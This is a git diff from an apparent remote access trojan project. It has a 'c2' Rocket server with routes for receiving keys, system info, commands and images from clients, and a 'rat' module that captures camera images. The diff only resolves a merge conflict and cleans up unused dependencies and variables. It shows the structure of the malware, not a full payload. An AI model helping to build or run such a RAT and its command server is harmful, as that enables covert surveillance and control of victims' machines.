diff --git a/Cargo.lock b/Cargo.lock
index 991908a1d3a459f2be5a342f8c0ffe022305cf74..8cfb26680c738fc604e81b7cdc8b41e8bf2cb42e 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -201,7 +201,6 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
 name = "c2"
 version = "0.1.0"
 dependencies = [
- "chrono",
  "rocket",
  "rocket_dyn_templates",
  "rocket_sync_db_pools",
diff --git a/c2/src/main.rs b/c2/src/main.rs
index f16b3dadf82e6f89ac3d1b531d04dca4b5b1149f..2955a9f554f6f7fb318633c0c30c27b13d42c581 100644
--- a/c2/src/main.rs
+++ b/c2/src/main.rs
@@ -38,15 +38,11 @@ fn rocket() -> _ {
     // load rocket
     let build = rocket::build().attach(DbConnection::fairing()).attach(Template::fairing()); 
     println!("Connecting to database ...");
-<<<<<<< c2/src/main.rs
-    build.mount("/", routes![home, post_key, get_json_keys, get_html_clients, post_systeminfo, post_new_command, get_json_commands, post_command, get_new_commands, post_image])
-=======
     build.mount("/", 
         routes![home, post_key, get_json_keys, get_html_clients, 
         post_systeminfo, post_new_command, get_json_commands, 
         post_command, get_new_commands, get_delete_command
     ])
->>>>>>> c2/src/main.rs
     .mount("/static", FileServer::from("c2/templates/static"))
     .mount("/client/data", FileServer::from("./data"))
     .register("/", catchers![not_found, internal_error])
diff --git a/c2/src/routes.rs b/c2/src/routes.rs
index d03c6e97e39749ceea5c8c8a2120f9b139a36a03..f9ee85fc270fa1b8bbc1b7d471b2601c2dfd793c 100644
--- a/c2/src/routes.rs
+++ b/c2/src/routes.rs
@@ -1,5 +1,5 @@
 use rocket::form::Form;
-use rocket::{get, post, Data};
+use rocket::{get, post};
 use rocket::{State, http::Status, serde::json::Json, response::status};
 use std::sync::Mutex;
 use crate::backup::{DataFile, DataType};
diff --git a/rat/src/camera.rs b/rat/src/camera.rs
index 8f6870706bcfba4adbc68493d7596b4e1f79690b..8e71f34548690093b1ea0d1f5b6e65467122fdc2 100644
--- a/rat/src/camera.rs
+++ b/rat/src/camera.rs
@@ -33,7 +33,7 @@ pub async fn sniff_image() -> Result<(), ClientError> {
 
     let mac_address = get_mac_address()
         .map_err(|_e| io::Error::from_raw_os_error(1))?;
-    let params = dev.params()?;
+    let _ = dev.params()?;
     //println!("Active device parameters:\n{}", params);